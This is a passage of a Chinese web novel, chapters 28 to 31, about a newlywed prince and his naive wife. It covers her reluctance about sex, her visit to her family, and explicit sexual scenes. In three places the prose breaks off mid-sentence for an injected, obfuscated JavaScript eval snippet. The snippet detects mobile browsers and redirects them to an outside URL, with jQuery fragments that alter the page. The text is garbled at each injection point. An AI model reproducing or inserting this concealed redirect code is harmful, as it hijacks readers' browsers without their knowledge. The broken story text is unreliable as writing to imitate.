她也以为封肆能听懂:“好啊好啊。” 28. 第 28 章 封肆踏出浴房,便瞧见光她光溜溜地躺在床上,当即呼吸一紧,抬手禀退侍女,轻声走近:“这是干什么呢?” 她微微掀眼:“抹油呢。” 封肆屏息坐下:“夏天了,还抹?” “对啊,抹的是另一种,它不是很油,是有香味的。”柳娆拉着他的手放在自己手臂上。 他喉头微动,声音稍沉:“抹完了吗?” “还没呢,你给我抹吧。”柳娆将腿往他腿上一搁。 他不由得咽了口唾液,用滚烫的掌心将花油化开,在她腿肚上轻轻揉按。 柳娆舒服得眯起眼:“你的手怎么什么时候都这么暖和?” 他没有说话,从小腿往上一路抹上,停在她跟前,罩下一道阴影。 “嗯?”柳娆眉头动动,还没有来得及睁眼,滚烫的薄唇包裹住她的唇。 她看他片刻,抱住他的脖颈,微微张口,紧促的呼吸立即朝她拍打而来,她忽然嘤咛一声,吓了自己一跳。 “别怕。”封肆搂起她的腰,啄吻几下,又深吻。 她顿了顿,刚要闭眼,忽然发觉不对,手往他腹上一撑,惊呼:“做什么!” 封肆将她往跟前扣,脸颊在她耳旁轻蹭:“喊什么?今天我会注意一些,不会弄疼你的。” 她咽了口唾液,脖子直往后仰:“那天你不是说算是洞房了吗?” 封肆发觉不对:“嗯?什么意思?” 柳娆看着他:“那天洞房了,今天还要洞吗?” 他低笑:“不然呢?” 柳娆脸紧皱,比吃了苦瓜还苦:“什么?!我成亲前没人跟我说过每天都要洞房,否则我肯定不成亲的!” 封肆将她搂在怀里轻声哄:“那晚只是个意外,我今天肯定不会弄疼你的,你想想旁人为什么要天天洞房?那肯定是因为舒服才这样,总不能是疼还日日都来。” 她瘪了瘪嘴,委屈道:“他们舒服,我不舒服,我不要,好疼的,你不爱我了,你知道我疼还要弄我。” “我怎么会不爱你呢?我正是爱你才想跟你更亲近一些啊,媚儿。” “我们可以亲嘴。”柳娆掰着他的头,在他嘴上啵啵亲两口,抬眸看着他。 封肆叹息一声:“媚儿……” 她将被子往头上一拽:“媚儿睡了,不要喊媚儿。” 封肆又是无奈,又是觉得好笑,隔着被子轻轻拍拍她,俯身道:“好了,别躲了,你要是不想,今天就不弄了。” 她露出两只眼睛:“那明天呢?” 封肆认真看着她:“媚儿,这是很要紧的事,你不要想着可以一直躲下去。” 她嘴又瘪下,缩在墙边假寐。封肆叹息一声,轻轻拍拍她,吹了灯,在她身旁躺下。 第二日,回门的礼品已经收拾好,柳娆扶着封肆的手跨上马车,支着脑袋望着窗外的小吃摊出神。 “想什么呢?”封肆搂住她的腰,顺着她的视线看去,“早上出门太晚,过去都能直接吃午饭了,你要想在外面买吃的,我们明天再来。” 她头一转,新奇道:“你怎么知道我想吃外面的东西的?” 封肆笑着亲她一口:“你眼睛都快黏那上面了。” “小四,你真聪明!”她抱着他蹭蹭,眼眸一转,又道,“要是我们可以不洞房就更好了。” 封肆在她耳旁笑道:“不可以。” “哼!”她双手揪住他的耳朵,一口咬在他脸上。 封肆疼得眉头直皱,再一看她那气得鼓起来的小圆脸,紧皱的眉头又舒展开来:“在外面不说这个,晚上回去再说。” 她叉着腰,呲牙咧嘴。 封肆欣赏一番,嗯,更可爱了。 他扶住她的后背,在她额头上落下一吻,将她揽进怀里:“我们明日出去玩,如何?” “我生气了,我不要和你说话。”柳娆脸一扭。 封肆笑着靠过去:“那不去了?别院里有汤泉,有果树,有小鹿……” “有小鹿?”柳娆好奇看去。 “前几年猎到的两头小鹿,我没忍心杀,养在了别院,如今应该有这么大了吧?”封肆比划比划。 柳娆两条弯眉快拧成麻花,到底是继续生气呢,还是明天去看小鹿呢?她一咬牙:“好吧,我原谅你了。” 封肆笑着搂紧她,在她耳旁轻声道:“我知道是我那天晚上弄疼你了,你才会如此抗拒,是我的错。” 她撅着嘴应:“噢。” “到了,下车吧。”封肆扶着她下车,自觉将她的裙摆整理好,跟在她身后。 柳家众人迎出来,跪地行礼:“拜见王爷,拜见王妃。” “快起来快起来。”柳娆弯身双手将他们扶起,大手一挥,“本王妃准了,以后你们见到本我不用行礼!” 柳家众人还在担心她过得不好,这话一出,所有人心头都松了口气,柳瑜和柳珣对视偷笑,老太太狠狠瞪他们一眼,又向封肆行礼。 “老身拜见王爷。” “如媚儿所说,都是一家人,不必拘礼。”封肆缓步越过他们。 柳娆骄傲地挺挺胸脯:“看,我就说吧,我的话还是有用的。” 老太太叹息一声,陈夫人则是上前牵着她悄声说话。 “如何?宁王对你好吗?王府上下可还对你尊敬?” “挺好的啊。”她不假思索说完,眉头又皱起来,附耳悄声与母亲道,“洞房好疼啊,有没有什么办法不洞啊?” 陈夫人赶忙左右看一眼,将她往旁边拉了拉,仔细询问:“宁王对你很粗鲁吗?” 她认真想了想:“也没有吧?” 陈夫人松了口气:“那就是正常的,女子第一回都会疼的,纤云不是跟你讲过吗?” 她气道:“可是她没跟我说那么疼啊。” 走在前面的几个人回过头来,柳瑜开口:“怎么了?这又是在闹什么呢?” 她脸一扭,没回答。 “没什么,你们先行便是,我们说几句话就来。”陈夫人拍拍她的手,小声又安慰,“现在还疼吗?”” 她苦着脸:“现在不疼了。” “那就还好,我还以为是宁王伤了你,既没有受伤便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112286|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是正常的,你们多同几回房就好了。你也跟他说,让他多怜惜着些,别太急色。” “噢。”她愁眉苦脸,“就不能不同吗?” “那如何能行?你难不成要将他推给旁的女人吗?” 她没太听明白,被母亲牵着往前走,思索半晌,还是没明白。 所有人都已在堂中落座,有一句没一句的闲聊着,说的都是些读书考学的事,她没兴趣听,趁人不注意溜出门。 “媚儿!”柳珣跟来,“你怎么了?我看你方才一直不高兴的样子。” 她捻着树叶:“我不想同房。” “啊?” “三哥。”她耷拉着眼睛看去,“你有没有什么办法能让我不用跟封肆同房啊?” 柳珣脸咻一下红起来:“这、这……我还没成亲呢,我也不清楚,不过这也是人之常情吧?” “那谁知道?二哥?可是他肯定不会帮我想办法的,要不你帮我去问问二嫂吧。” “啊?我问二嫂?媚儿,这种男女大防的事,我怎么能问二嫂呢?” 她撇撇嘴:“那怎么办嘛?我不想同房,好疼的。” 柳珣赶忙抓住她的肩,左右看看,心疼坏了:“媚儿,你受伤了?” 她眨眨眼:“没有啊。” “你等着。”柳珣转头疾步而去,没多久带着柳瑜疾步而归。 “不至于,以她的性子,真要是伤了,不得大哭特哭?你不信就试试。”柳瑜闲庭信步,“我听三哥说你不想和宁王同房。” 柳娆狐疑看他两眼,点头:“对。” 柳瑜不紧不慢:“你和他和离就不用跟他同房了。” 柳娆眼一下瞪圆,连连摇头:“那不行,那不行的,他对我还是很好的,我也挺喜欢他,我只是不想同房,不是不想和他过了呀。” 柳瑜朝柳珣耸耸肩:“你自己看。” “媚儿。”柳珣叹息一声,“你和他成亲,就必须跟他同房的,他也是喜欢你才会如此。” “可是疼啊,真的很疼。” 柳珣也没法了,看向柳瑜:“我还没成亲,对此事实在不甚了解,你要不问二哥吧。” “问我什么?”柳瑜将他拽到一旁,低声道,“这显然就是他床上功夫太差了,我还能去教他不成?” “那怎么办?总不能看着小妹受罪吧?” “夫妻之间的事,亲爹亲娘来了都不好开口,我们做哥哥的如何说?此事只能他们自己商量。” 柳娆的脑袋突然伸过去:“你们再说什么?” 柳瑜惊得一颤,清了清嗓子:“这是夫妻之间的私事,还得要你自己解决。你要是疼就跟他直说,让他多注意些,我想他也不是故意的,你和他好好说,他不会故意欺负你。” “这是注不注意的问题吗?那那么大一个东西塞进那么小一个地方去,再注意都会疼的啊!” “呃……嗯……”两个哥哥语塞。 “二嫂难道不会疼吗?” 柳瑜一个健步上前,捂住她的嘴,朝柳珣道:“三弟,你先去忙吧,我和小妹有话要说。” 29. 第 29 章 柳珣也不好意思再待下去,红着脸,几乎是逃走。 柳瑜看着远去的背影,长舒一口气,松开手,低声警告:“这种事大庭广众之下不能说的,知道吗?” 柳娆瞥他一眼,没好气道:“噢。” “至于疼,第一回多多少少会疼的,慢慢就好了。” “慢慢就好了?”柳娆惊诧,“你听听你说的是什么话?你简直就是个混蛋!” “我跟你说不清楚,娘没给你避火图吗?你拿着让宁王好好学学去,总归这事儿不是你想得那么痛不欲生。”柳瑜拍拍她的肩,“好好体会吧。” 她抿了抿唇,将信将疑:“你骗我。” “我骗你做什么?你不信便问大哥去,大哥一向不会说假话,他说的总不能有假。” “噢,就不能不同吗?”她小声道,“难道你和二嫂也要天天都那样吗?” “你出去问问,天底下哪对恩爱的夫妻会一直不同房吗?” “你方才才说不能在大庭广众之下说的。” 柳瑜瞅她一眼:“你不和他同房,就两个选择,要么和他和离,要么让他和别的女人睡去。” 她撅了撅嘴:“那就让他跟别人睡去嘛。” “你可要想好了,既然他都有别人了,还要你做什么?他不会再有空来陪你,不会再给你锦衣玉食的优渥日子,不会你要想什么他就再给你什么,明白了吗?” “那不行,不行。”她低声喃喃。 柳瑜笑着揉揉她的脑袋:“你还是真是个小机灵鬼,只想享受,不想付出。” 她瞪他一眼:“我一会就自己去问二嫂,要是让我知道你是骗我的,我肯定饶你不了你!” “你饶不了我?你蹦起来都打不到我。” “那我就让我夫君来揍你!略略略。”她朝人吐吐舌头,转头就跑,径直跑到厅外,探头探脑。 二嫂转身瞧见她,笑着走来:“媚儿?你在这里做什么?今日宁王来,母亲特意叮嘱让我守好这里,你可别来捣乱。” “我没有捣乱,二嫂,我只是想问你一个问题。” “什么问题?” “二哥跟我说,你们天天都洞房,是真的吗?” 二嫂脸瞬间通红,拉着她往角落里走:“你二哥好端端地跟你说这个做什么?” “我问他的呀。” 二嫂有些无奈:“你问他这个做什么?” 柳娆深吸一口气,将方才的事快速说一遍:“总归就是这样,二嫂,二哥有没有骗我?” 二嫂面颊上的红晕消散一些,拉着她低声道:“也不是日日都……不过你二哥没唬你,夫妻之间的确是要同房的,不过也没有你想的那样可怕,都是你情我愿的。” “那二嫂你也喜欢同房?” “媚儿,你别总问些让人难以启齿的问题。” “噢……”柳娆顿了顿,“那是喜欢还是不喜欢呢?” 二嫂无奈低笑,轻轻点头:“嗯。” 柳娆仔细端详她两眼,确认她没有说谎,转身要跑:“我知道了,二嫂,我先走了。” 二嫂赶忙拽住她:“媚儿,不要在外面乱说。” “我知道了。”她连连点头,打算再找人去问问,就算是二哥二嫂他们全都没说谎,可是她自己也没说谎啊,她就不信了,这世上难道没有跟她感同身受的人了? 封肆找到她时,她正跟门房的婆子聊得火热,一个小的不懂事不害臊,另一个老的经历多了不害臊,说的全都是些不能听的内容。 封肆深吸一口气:“柳娆,你给我过来。” 柳娆眼一圆,扭头看去:“诶?你怎么来了?你不是在跟我爹他们下棋吗?” 封肆大步上前,拎着她的领子将她提起,咬牙切齿道:“我再不来,连我屁股上有几颗痣都要被你全说出去了。” “诶?你屁股上还有痣吗?我都没发觉诶。”柳娆扭着脖子看。 封肆额头突突地跳,将她按住,许久才平息怒火,低声训斥:“你不知道这些话不能随意说的吗?你到底知不知道害臊的?” “可是没有人告诉我,我什么也不明白,只能跟人打听,这怎么能怪我呢?要怪也只能怪你们没跟我说清楚。”她越说越觉得有道理,吼一声,“对!都怪你们!” 封肆被喷一脸温热的气息,反而笑了:“你说的也有道理,怪我没跟你说清楚。” 她后退两步站稳,疑惑看他。 “用午膳了,到处都找不到你,我才找来的。”封肆将她往怀里一揽,“走吧。” “你不是凶我的吗?” “没凶你,你是我的宝贝,我怎么舍得凶你呢?况且你说的也对,是怪我没跟你说清楚,等回去我仔细跟你说,如何?这事你原本也该来问我才对。” “噢,看在你认错态度不错的份上,我原谅你了。” 封肆笑着刮刮她的鼻尖:“那我多谢你。” 她抱住他的腰,仰头看着他,突然又问:“你屁股上真的长痣了吗?” 封肆眼前一黑:“没有,只是个比喻,别在外面说这个,吃饭去。” 柳娆撇撇嘴,小声嘀咕:“真是个奇怪的比喻。” 封肆权当听不见,反正秀才遇上兵,有理说不清。 傍晚时分,柳家上下一齐将他们送出门,老太太上前给柳娆整理整理衣衫:“路上慢些,多当心。” “祖母,没多远的,就在前面,不到半炷香的功夫就到了。” 老太太笑着摸摸她的头:“祖母知晓,去吧。” 她一一跟人打完招呼,弯着眼眸挥手:“那我先走啦,你们要是想我了可以来找我,或者我回来也行,也没多远。” 陈夫人催促几句:“知道了,快上车吧。” “我真走啦。”她身子钻进马车,长长的衣摆还拖在地上,毫不客气吩咐,“夫君,你快将我的裙摆整理好。” 封肆有点没面子,但听着那娇滴滴的声音也生不起气来,默默将那裙摆整理好一起塞进车中,立即跨上马车,人却还在探出车窗跟人打招呼。 “爹娘,哥哥,我走了,你们回去吧。” “快坐好,这样危险。”陈夫人忍不住提醒两句。 “那我走啦。”她笑眯眯退回车中,将窗子关好,感慨一声,“今天真高兴啊。” 封肆轻轻将她头上扭缠在一起的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116439|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流苏分开,含笑道:“高兴就好。” 她脑袋一转,明亮的眼眸看去:“我们明天是不是就能去看小鹿啦?” “当然。”封肆捧着她的脸,低声道,“以后不许将我们之间的私事跟外人说。” 她思索一瞬,反驳:“我哥哥他们又不是外人。” 封肆只知道她跟柳府的佣人们说了,这会儿才明白为何柳家的那两个小子为何总是偷偷看自己。他险些一口气没吸上来,可看着那样干净无辜的眼眸,又说不出什么重话。 “夫妻之间的事,除了夫妻之间,旁人都是外人,你看你哥哥们会将他们的夫妻生活跟你说吗?” 柳娆眨眨眼,眼眸一弯:“我知道啦,你吃醋了,是不是?” 封肆无奈扬唇:“好吧,我吃醋了。” 柳娆捉住他的脸,笑着在他嘴巴上亲两口:“那我就不说了。” 他的心快化成一滩蜜水了,捧着她的脸,不停在她的唇上啄吻,亲着亲着就忍不住将她在车厢的一角深吻。 怀里的人呼吸不过来,檀口微张,含着一汪春水的眼眸怔怔看着他,他连在这里亲她都再舍不得,将人紧紧搂在怀里,打横抱起径直大步回到卧房,才解她腰间的系带。 “你干什么?”柳娆一惊,慌忙按住腰间的手,“不行!” 封肆在她脸上啄吻:“不同房。” 她将信将疑看他一眼,抱住他的脖颈啄回去,哼哼着撒娇:“不同房,好疼的。” 封肆抚抚她的背:“好,我不都答应你了吗?莫怕。” “噢。”她黏在他的肩上,光滑的手臂缠着他的脖颈,指尖偷偷戳戳他的胸膛,笑着看他,“看着硬硬的,摸着软软的。” 封肆扬唇:“你的压箱底呢?拿出来看看。” “对对对,我二哥还说让你好好学学呢。”柳娆爬去床边,弯着腰拖出床底的箱子。 “以后别乱说。”封肆嘴角微抽,目光忍不住落在她凹陷的腰肢上。 “找到啦!”她猛地起身,双手举起册子,浑身的软肉乱颤。 封肆喉头微动,嗓音微哑:“打开看看,看看和书里的是不是一样的。” “噢噢。”她胡乱点头,举着册子,一会看看册子,一会看看他,认真思索,“嗯,差不多,不过你肚子这里分成一块一块的了。” 封肆好笑:“这是肌肉。” 柳娆好奇戳戳:“怎么会这样呢?我肚子上都没有。” “多锻炼就会有。”封肆抽出她手中的册子,放去一旁,将她往跟前一扣,“你不锻炼,当然没有。” 她茫然坐下,很快发现不对,皱着眉头挣扎:“你说不同房的!” 封肆按住她的背,哑声道:“不进去,你不是看过那册子了吗?可以先不进去。” “我没看到!”她大喊。 封肆被她蹭得难受,闷哼一声,胡乱将册子往她手中一塞:“你好好看看。” 她一头雾水,趴在他的肩头,双手在他背后翻看,果真找到了那一页,瞪大眼睛仔细研究,忍着痒痒,任由人乱蹭。 “啊!”她眉头一拧,嘤咛一声,软倒在他怀里,慌得赶紧双手捂住嘴。 30. 第 30 章 封肆笑着蹭蹭她的脑袋:“舒服?” 她死死捂着嘴,连连摇头。 “你平时不是最不害羞的吗?怎么现在又臊了?”封肆将她往上搂了搂,扣着她的尾骨轻蹭,沙哑的声音贴在她耳旁响起,“别忍着,只有我们两个人,不会被旁人听见。” 她头摇得跟拨浪鼓似的。 封肆将她搂紧,哑声低笑:“舒服对吗?要是不舒服,你早就哭闹了,哪里会这样乖乖让我抱着?” 她扭动几下,实在憋不住,躲在他怀里小口喘气。 “难受吗?”跟前的人低声问。 她回答不上来,她也形容不出来当下的感受,似乎挺难受,又好像有些舒服。她不知该如何应对,指尖紧紧扣住他的腰腹,一遍遍喊:“小四、小四……” 封肆用脸轻蹭她的发顶:“乖媚儿,唤我做什么?” 她哼哼着,柔..软的指尖扣在他的腰腹上,小声重复:“小四……” “舒服是不是?乖媚儿,舒不舒服?我没唬你是不是?没你想的那样可怕。” “小四……”她脑子混混沌沌的,无意识往他怀里送,不慎蹭重了,惹得自己又是惊叫又是颤栗,眼角都不觉渗出些泪水来。 封肆笑着抚抚她的背:“慢慢的。” 她仰头看他,在他温和的目光下,小心翼翼撑着他的胸膛,轻轻动动。 “对,就是这样。”封肆在她额头上吻了吻,拆下她发间的银簪,将她按在脸旁,“是不是很舒服?” 她抱着他的脖颈小声哼哼:“小四。” 封肆完全无法抵抗她的娇哼,倏地将她抱紧,恨不得趁机,可想到她哭哭啼啼喊疼的模样,又实在舍不得,只是将她抱紧一些,再抱紧一些。 她软倒在他怀里,好半晌,呼吸渐稳,轻笑低笑。 “笑什么?”封肆笑着摸摸她的脸。 她抬起红扑扑的脸,笑意盈盈看着他,突然在他嘴上亲一口。 封肆被亲得有点疼,还有点懵,看着她眼中的笑意,不觉也扬起唇:“舒服吗?” 她羞涩点头:“嗯!” 封肆在她脸颊上亲亲:“我们去沐浴?” “好!”她咬着唇靠在他肩上,小腿轻轻晃荡,嘴里哼哼着欢快的调子,亮晶晶的眼眸在落日余晖下闪闪发光。 封肆心中也不觉明快起来:“晚上想吃什么?” “都行。”她被放进水里,手还搂着他的脖子,悄声道,“小四,我们一起洗吧。” “你不是嫌这里太拥挤了吗?” 她晃晃他的脖子,小声哼哼:“我想和你一起洗嘛,难道你不想和我一起嘛?” 封肆忍不住扬唇:“想。” “快来快来!”她几乎是将人拽进水里,扑过去紧紧抱住他,溅起一圈水花,一滴挂在鼻尖上,笑眯眯的,“小四。” “嗯?”封肆刮刮她的鼻尖。 她害羞埋进他的脖颈里,含糊不清道:“还想那样。” 封肆垂首:“什么?” “我说!”她猛得抬头,又嘿嘿着小声哼哼,“我还想要那样。” “哦,这样啊。”封肆故意不应。 柳娆才不跟他玩什么欲擒故纵的小把戏,一把抓住他。 他丝毫没有预料,闷哼一声,拧着眉头看去,对上那张红扑扑笑盈盈的小脸。 “蹭它,对吗?” “这么着急?”封肆揶揄。 柳娆眨眨眼:“你不着急吗?可是它都抬头了诶。” 封肆噎住:“好吧,我也着急。” “我就说嘛。”她扑过去,心满意足地抱着他蹭来蹭去,“小四,小四。” “舒服?” “嗯,酥酥的,麻麻的。”她彻底不羞了,枕在他肩上,对着他的脖颈不停喘气,“小四,我腰麻麻的,感觉快飞起来了。” 封肆被勾得眼眸发红,偏偏拿她一点办法都没有,这会儿要是将她弄疼了,又要哄上好几天。 她还一个劲儿地问:“你怎么不说话呀,你不舒服吗?” 封肆猛地将她往怀里一扣,低声在她耳旁道:“去里面好不好?” 她怔愣一瞬,连连摇头:“不行不行,那样好疼的,我们就现在这样吧,小四,现在这样很舒服。” “那不给你蹭了。” “不行!”她眉头一拧,扯扯他的耳朵,将他的手往自己的后腰上一放,连声催促,“你快点。” 封肆气得捏捏她的脸颊:“这样不行,那样不行,要求还挺多,坐直。” 她一怔,瞪圆了眼,还没来得及说话,又是嘤咛一声,仿佛打开了新世界的大门,喘着气道:“天啊,怎么这样也能这么舒服?太、太奇怪了……” 封肆笑着箍住她的腰,又是咬又是蹭,惹得人惊叫连连,颤粟不已,最后又软倒在他怀里,气喘吁吁。他笑着亲亲她的脸颊:“舒服了?” “嗯……”柳娆犹犹豫豫,欲言又止。 “怎么了?”封肆看去。 她抬头,在他耳旁羞涩道:“我刚刚太舒服了,没控制住自己,好像小解在浴桶里了。” 封肆笑着摸摸她的脑袋:“不是。” “那是什么?” “我也说不清楚。” “那你怎么就知道不是?” “我说不是就不是。”封肆刮刮她的鼻尖,将她抱起,朝外吩咐,“来人,换水。” 她皱着眉头,满脸不服气:“你好不讲道理。” “我怎么不讲道理?是大夫告诉我的,只是我不懂医术,说不清那些名词。”封肆信口胡诌。 “你好笨,下次你让大夫跟我说,我肯定能听得懂。” “好好,你最聪明。” 吱呀,浴房的门被推开,侍女要拎着水进门,柳娆紧忙推着跟前的人往屏风后退:“你要被人看光了!” 封肆扶住她:“好,知道了,别往后退了,再退屏风要被你推..倒了。” 她拧着眉头,一脸认真训:“你怎么可以这么轻描淡写?你一点儿也不害臊,我生气了。” “好好,是我的错,我记着了,以后绝不敢了,快站好。” “这才对嘛。”她捉住他的脸,往下一按,在他额头上亲了亲,“真乖。” 封肆好笑看她:“人都出去了,现下我们能去屏风外了吧?” 她一把抱住他的腰:“抱我。” 封肆笑着将她抱浴桶里,轻轻在她背上搓洗:“我们明日去郊外的庄子?” 她有些心不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122292|194925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在焉:“你说,第一个人是怎么知道咬那里能舒服的?” 封肆愣了一瞬,反应过来,无奈道:“我哪里知道?” “噢。”柳娆指尖下滑,点点他的胸膛,“你说,我咬你的话,你会很舒服吗?” 封肆还没理解这话中的意思,心口被人一口咬住。他眉头一拧,赶紧推:“别闹!” 柳娆死死抱住他的腰,像他那样舌尖作乱,咂咂两口,好奇问:“舒服吗?” 他扶额:“别闹,洗完就起来,还没吃晚饭,你不饿吗?” 柳娆满眼疑惑:“你没有感觉吗?” 封肆眼见人那颗脑袋要低下来,赶忙将她摁住,含糊过去:“没有,男人和女人不一样也正常,赶紧起来。” “噢。”她包裹着毯子,小声嘀咕,“那你长两个点点做什么?又不奶孩子,又不能舒服。” 封肆一噎,赶紧催促着她穿衣出门。 她扭着头不肯动:“你抱我,我腿软。” “说七说八的时候没见你不舒服。”封肆将她抱起。 她搡搡他:“你凶我。” “没凶你。”封肆在她脸颊上亲亲,“吃饭去。” “我要坐在你的腿上。” 封肆双手搂着她,在她耳朵上轻咬:“真是个磨人精。” 她咀嚼着饭菜,含糊不清道:“你不喜欢我了吗?我坐在你腿上,你应该高兴才对。” “好,我高兴,好好吃饭。” 她尝了口鱼羹,眼睛一亮,转头拿着勺子往他嘴里塞:“好吃,夫君,你也尝尝。” 封肆心都快被她暖化了,嘴角忍不住上扬:“我们明天去庄子上?你不是想看小鹿?明天就能看到。” “好呀好呀,我还没有见过活鹿呢。”她笑眯眯说完,又往他嘴里送一口菜,“这个也好吃。” 没一会儿,封肆嘴上全都是汁水,却还乐此不疲地让她喂来喂去。 “小四。”吃完饭,她又往他身上爬,“我们再来一次吧。” “什么?”封肆有些惊讶。 她抱着他的脖子又啃又咬,小声道:“再来一次呀。” 封肆捏起她的脸:“还要?” 她有点委屈:“不行嘛?” 封肆将她搂进怀里:“行,来吧。” 她高兴地扑过去,又对着他脖颈又啃又咬,从脖子亲到脸上,弄得他满脸都是口水,又去亲他的唇,花茶的清香味在口齿间漫延。 夜色已深,夏日,虫鸣声断断续续,她的声音也断断续续,滚烫的气息贴着他的脸。 封肆的掌心轻轻在她后颈上抚摸:“尽兴了?” 她打了个哈欠,懒懒闭眼:“嗯,好累,我要睡了。” “下来躺好睡。” “不要,我这要这么睡。” 封肆有些无奈:“媚儿,你这样压着我,我睡不了。” “可是我想抱着你睡。”她一滩烂泥似的,平铺在他身上,一动不动,很快,呼吸绵长。 封肆望着床顶,长长叹息一声,稍等片刻,轻轻转身,要将人放去身旁,怀里的人突然哼哼一声,吓得他赶紧躺回去,老老实实被压着。 夜半,怀里的人嫌热,蜷缩去墙边,他终于长松一口气,安心合眼。 31. 第 31 章 日光照进来,柳娆睁眼,盯着床帐看片刻,迷迷糊糊的眼眸中慢慢充满光亮,猛地坐起:“我们今日是不是要去看小鹿?” 封肆也刚睡醒,被她突如其来的动作惊得一顿,皱着眉道:“媚儿,不要一惊一乍的。” “我没有一惊一乍啊。”她爬起来,双手撑在被褥上,伸着脸看着他,翘着的臀晃来晃去,若是有尾巴,现下已摇起来了。 封肆什么脾气都没了:“用完早膳就去。” “太好啦!”她扑过去,将人扑得往后一倒。 封肆又是无奈又是欢欣,将她稳稳抱住:“不闹了,去洗漱用膳吧。” 她立即跨下床,蹿去衣柜前,打开衣柜,拿着衣裳比划:“你觉得我今天穿哪一身好看?” 封肆看着那些花花绿绿的衣裳,每一件都很可爱,他实在分辨不出哪件更好看,随意一指:“这件。” “噢噢。”柳娆又拿出两件,继续比划,“那这两身呢?” 封肆直觉不妙,赶忙道:“你可以都带上,我们多去玩几日。” “好啊,那这几件都拿上!今天就……” “今天就先穿这件粉绿色的。” 柳娆眉眼一弯:“好!那就穿这件!” 封肆继续道:“郊外的庄子离这里有些距离,我们起得晚,不能在家里耽搁得太久,否则天黑之前要到不了了。” 柳娆捧着衣裳,点点头:“那我就不让人梳太复杂的发髻了。” 封肆长舒一口气,望着她那失落的眼神,又哄:“今日都是在路上,装扮的太过繁杂反而会累,明日你再打扮。” “好吧,那我就先听你的。”她笑着在他脸上亲一口,“你穿什么?” 封肆缩了缩脖子:“我不喜欢穿戴,你给自己打扮就行。” “可是我想你也漂漂亮亮嘛。” “你漂亮就好。” 柳娆抱着他的腰晃晃:“可是你这也不喜欢,那也不喜欢,只有我自己高兴,我也很想你高兴。” 他真不想也被弄得粉粉嫩嫩的,但心中还是欣慰的,轻轻拍拍她的背:“你高兴我就高兴。” “小四,你真好。”柳娆笑眯眯又亲他一口,“我们洗漱吧!” 他笑着揽着她往前走。 艳阳高照,城中行人络绎不绝,柳娆探着脑袋往外看了一会儿,受不了烈日,又缩回来。 封肆将窗帘放下:“热吗?” “还好,在车里就不热。”她瞧见他手上的扳指,将他的手抓来,戳着扳指转动,“还雕着花纹呢,我才发现,好漂亮。” “喜欢?”封肆摘下,套在她的拇指上。 她举起,对着日光转转,高兴地往他腿上一坐:“你天天送我礼物,可是我都没有什么送给你诶,你有没有什么喜欢的东西?我可以送给你。” 封肆搂住她的腰,在她耳旁轻声道:“我要你,我们晚上洞房。” “哇。”她吓得立即将扳指套回他手上,起身要走,“那我不要了。” 封肆将她扣住,忍不住低笑:“你怕什么,你昨天晚上要了那么多回,不都是好好的?” “你以为我还什么都不懂的吗?我知道你说的洞房是什么,那根本就不一样,你不觉得把那么一个大家伙塞到一个那么小的地方里很可耻吗?” “很可耻?”封肆笑出声。 “反正那样就是不对,我不要。”她别开脸,“我也不要和你坐在一起了。” “好了好了,你先坐回来,晚上的事晚上再说,我们现在不是还好着吗?” “那倒也是。”柳娆抱住他的肩,亲亲他的嘴巴,又亲亲他的眼睛,指尖从他的鼻梁上滑过,弯着眼笑,“小四,你真好。” 他忍不住在她面颊上啄吻:“乖媚儿,我爱你。” 柳娆眼眸怔愣一瞬,喜笑颜开:“小四,我也爱你!啵啵啵!” 封肆将她轻轻按在怀里:“喜欢扳指?我这个太大了,你戴不了,你喜欢什么样的?我让人去给你做。” “我想要一个和你一模一样的。” “好,想要什么就和我说,若是我不在,吩咐管事的就行。” “你不在?那你去哪儿?” “我得去当职,我总不能日日都在家中无所事事。” “噢,我想起来了,我爹爹大哥二哥也都是每天早出晚归的。”她叹息,“那可怎么办呢?你不在家,我一个人好孤独的,没人陪我,没人和我说话。” 封肆抚抚她的脑袋:“你可以去和京中的夫人贵女们聚会,你不是最爱出门玩了吗?” “聚会?”她眼睛一亮,“那好呀。” “等我们从这里玩完回去,我就带你去认识京中的人,你们熟悉熟悉,往后我若是忙起来,你可以去找人游玩聚会。” 她连连点头:“好呀好呀。” 封肆看着她,总忍不住弯唇:“你从前有没有什么闺中好友?也可以邀她们来王府玩。” “没有,我从小到大都没什么好朋友,不过我有三哥,我能让三哥来咱们家玩吗?反正他在家里也是读书,在我们家也能读书。” “他要是愿意来,让他来便是。” 她看着他:“你有没有什么好朋友呀?” “有,上回你见过的。” “噢,他呀,你们怎么认识的?” “你是刑部来审查的?”封肆刮刮她的鼻尖。 她眉头动动:“刑部是干什么的?” “就是关押审理犯人的地方,你不用知道这个。” 